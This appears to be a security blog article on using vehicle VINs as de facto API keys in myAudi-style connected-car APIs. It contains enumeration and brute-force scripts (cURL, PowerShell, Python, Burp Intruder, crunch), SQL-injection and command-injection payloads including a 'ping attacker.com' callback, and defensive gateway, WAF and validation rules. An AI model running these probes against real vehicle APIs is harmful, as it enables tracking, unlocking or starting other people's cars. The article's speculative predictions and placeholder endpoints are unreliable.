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Introduction:
Connected vehicle platforms like myAudi promise convenience but often expose critical APIs that lack proper authentication and authorization controls. A recent security research deep dive into the myAudi ecosystem revealed that a Vehicle Identification Number (VIN) – printed on dashboards and insurance documents – can serve as an effective API key, allowing attackers to remotely query vehicle location, unlock doors, or even start the engine with minimal effort.
Learning Objectives:
- Understand how exposed REST APIs in connected car platforms leverage non-secret identifiers (VIN) as authentication tokens.
- Learn to discover and test API endpoints using Burp Suite, cURL, and custom Python scripts.
- Implement mitigation strategies including API gateway hardening, rate limiting, and UUID-based resource identifiers.
You Should Know:
- VIN Is Not a Secret – Exploiting Public Identifiers as API Keys
The research published at https://decoder.cloud (original LinkedIn post: https://lnkd.in/dG67P54z) demonstrates how myAudi’s API endpoints accept a VIN as a primary resource identifier without requiring a session token for certain operations. Attackers can enumerate VINs from public sources (windshield visibility, insurance databases, license plate lookups) and then directly query endpoints like `/api/vehicle/{VIN}/location` or /api/vehicle/{VIN}/remote/start.
Step‑by‑step guide to test for this vulnerability:
Linux / macOS – Using cURL to probe VIN enumeration
Sample VIN format: 17 characters, alphanumeric (e.g., WAUDGAFL2DA123456)
VIN="WAUDGAFL2DA123456"
Test if API returns vehicle status without authentication
curl -X GET "https://myaudi-api.example.com/v1/vehicles/${VIN}/status" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-w "\nHTTP Status: %{http_code}\n"
If HTTP 200 OK with data, the endpoint is vulnerable
Attempt to fetch GPS coordinates
curl -s "https://myaudi-api.example.com/v1/vehicles/${VIN}/location" | jq '.'
Windows – Using PowerShell
$VIN = "WAUDGAFL2DA123456" $Uri = "https://myaudi-api.example.com/v1/vehicles/$VIN/status" $Response = Invoke-RestMethod -Uri $Uri -Method Get $Response | ConvertTo-Json -Depth 5
Tool configuration – Burp Suite Intruder for VIN brute‑force
1. Capture a request containing a valid VIN using Burp Proxy.
2. Send the request to Intruder (Ctrl+I).
3. Set payload position on the VIN parameter.
- Load a wordlist of partial VINs or generate using
crunch:crunch 17 17 -f /usr/share/crunch/charset.lst mixalpha-numeric -o vins.txt
- Attack type: Sniper. Configure Grep – Extract to capture response differences.
- Start attack and filter by response size or status codes (200 vs 401/403).
Python automated checker
import requests
import json
def check_vin_apis(vin):
endpoints = [
f"/v1/vehicles/{vin}/status",
f"/v1/vehicles/{vin}/location",
f"/v1/vehicles/{vin}/remote/lock",
f"/v1/vehicles/{vin}/engine/start"
]
base_url = "https://myaudi-api.example.com"
for ep in endpoints:
resp = requests.get(base_url + ep, headers={"User-Agent": "SecurityScanner/1.0"})
if resp.status_code == 200:
print(f"[!] Vulnerable: {ep} - Response: {resp.text[:100]}")
else:
print(f"[bash] {ep} returned {resp.status_code}")
check_vin_apis("WAUDGAFL2DA123456")
Mitigation – API Gateway hardening (AWS + Kong):
Create a rate limiting rule to prevent VIN brute-force (Kong) curl -X POST http://kong:8001/plugins \ --data "name=rate-limiting" \ --data "config.second=10" \ --data "config.hour=200" Implement JWT or OAuth2 introspection before allowing VIN-based resource access
- Broken Object Level Authorization (BOLA) in Connected Vehicle APIs
The myAudi scenario is a classic case of BOLA (OWASP API Security Top 10 – API1:2019). The API trusts the VIN as a valid access token without verifying that the authenticated user actually owns that vehicle. Attackers can horizontally escalate by changing the VIN in the request path.
Step‑by‑step BOLA testing with Burp Suite:
- Log into the legitimate myAudi mobile app (or any similar platform) and capture authenticated API requests using Burp Suite.
- Identify any endpoint that uses a predictable resource ID (VIN, order ID, user ID).
- Use a second account’s VIN (obtained from a friend’s visible windshield or online marketplace) and replace the ID in the request.
- Send the modified request. If you receive data from the other user’s vehicle, BOLA is confirmed.
Automated BOLA scanner using cURL and a VIN list
VINs from public sources (images, forums)
echo "WAUDGAFL2DA123456
WBA3A5G50CN123456
JH4DC4380SS001234" > vins.txt
while read vin; do
echo "Testing VIN: $vin"
curl -s -o /dev/null -w "%{http_code} - $vin\n" \
"https://target-api.com/v1/vehicles/$vin/battery-level"
done < vins.txt
Windows – BOLA detection with PowerShell multithreading
$vins = Get-Content .\vins.txt
$vins | ForEach-Object -Parallel {
$uri = "https://target-api.com/v1/vehicles/$_/location"
$resp = Invoke-WebRequest -Uri $uri -Method Get -UseBasicParsing
if ($resp.StatusCode -eq 200) { Write-Host "[!] Vulnerable VIN: $_" }
} -ThrottleLimit 10
Cloud hardening – Azure API Management policy to validate ownership
<policies>
<inbound>
<choose>
<when condition="@(context.Request.Url.Path.Contains("/vehicles/"))">
<send-request mode="new" response-variable-name="ownerCheck" timeout="10">
<set-url>https://userdb.internal/users/{jwt-claim-subject}/vehicles</set-url>
<set-method>GET</set-method>
</send-request>
<choose>
<when condition="@(!((IList<string>)context.Variables["ownerCheck"].Body.As<JObject>()["vehicles"]).Contains(context.Request.MatchedParameters["vin"]))">
<return-response>
<set-status code="403" reason="Forbidden" />
</return-response>
</when>
</choose>
</when>
</choose>
</inbound>
</policies>
3. Remote Command Injection via Telemetry Endpoints
While the myAudi research focused on API exposure, connected vehicles often suffer from injection flaws in telemetry or firmware update endpoints. Attackers can send crafted JSON or XML payloads to manipulate vehicle ECUs.
Step‑by‑step testing for injection:
Linux – SQLi test on API query parameters
Attempt time-based blind SQL injection on a search endpoint curl -X GET "https://myaudi-api.example.com/v1/vehicles?search=WAU'%20AND%20(SELECT%20sleep(5))%20AND%20'1'='1" time curl -X GET "https://myaudi-api.example.com/v1/vehicles?search=WAU"
Command injection in vehicle name field
If the API allows setting a vehicle nickname
PAYLOAD='{"nickname": "MyCar; ping -c 3 attacker.com"}'
curl -X PUT "https://myaudi-api.example.com/v1/vehicles/$VIN" \
-H "Content-Type: application/json" \
-d "$PAYLOAD"
Check DNS logs on attacker.com for callback
Mitigation – Input validation with regex in Python (FastAPI)
from fastapi import FastAPI, HTTPException
import re
app = FastAPI()
VIN_REGEX = re.compile(r'^[A-HJ-NPR-Z0-9]{17}$')
@app.get("/api/vehicles/{vin}")
def get_vehicle(vin: str):
if not VIN_REGEX.fullmatch(vin):
raise HTTPException(status_code=400, detail="Invalid VIN format")
Then check ownership via JWT
Then return data
Linux – Deploy WAF rule to block VIN brute-force (ModSecurity)
SecRule ARGS:vin "@validateByteRange 48-57,65-90" "id:10001,deny,status:403,msg:'Invalid VIN chars'"
SecRule REQUEST_URI "/vehicles/" "id:10002,initcol:ip=%{REMOTE_ADDR},pass,nolog"
SecRule IP:VIN_BRUTE "@gt 10" "id:10003,deny,status:429,msg:'Rate limit exceeded'"
SecAction "id:10004,phase:5,deprecatevar:ip.VIN_BRUTE=1/60"
4. Responsible Disclosure and Vendor Remediation
Andrea Pierini’s approach followed ethical research – finding flaws, reporting to myAudi (Audi/VW Group), and waiting for fixes before publishing. This section guides you through responsible disclosure steps.
Step‑by‑step for security researchers:
- Document everything – screenshots, cURL commands, timestamps, impact demonstration (e.g., fetch location of any VIN).
- Find security contact – Check
security.txt,.well-known/security, or email[email protected]. - Write clear report – Use templates from HackerOne or Bugcrowd.
- Offer 90‑day grace period – Negotiate disclosure timeline.
- Request CVE – Through MITRE or a CNA.
Linux – Automate disclosure email using mutt
echo "Subject: [Responsible Disclosure] BOLA in myAudi API Dear Vendor, I discovered that VIN: WAUDGAFL2DA123456 can be used to access another user's vehicle data. Steps to reproduce: curl https://myaudi-api.example.com/v1/vehicles/$VIN/location Please find attached log. Regards, Researcher" | mutt -s "Security Report" -a captured.log -- [email protected]
What Undercode Say:
- VIN as an API key is a catastrophic design flaw – Manufacturers must treat VIN like a social security number for vehicles and never expose operations based solely on it.
- API security in IoT/automotive lags 5–10 years behind web apps – Traditional authentication and object-level authorization are often missing, requiring immediate adoption of OAuth2, JWT, and API gateways with policy enforcement.
Prediction:
Within 18 months, we will see the first large-scale ransomware attack on connected vehicle fleets exploiting VIN-based API flaws, forcing automotive OEMs to issue emergency over‑the‑air (OTA) patches. Regulators will mandate mandatory API penetration testing and public VIN blacklisting before vehicle sales can continue in the EU and US markets. The myAudi research will be cited as a textbook example in future automotive cybersecurity standards like ISO/SAE 21434.
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IT/Security Reporter URL:
Reported By: Andrea Pierini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
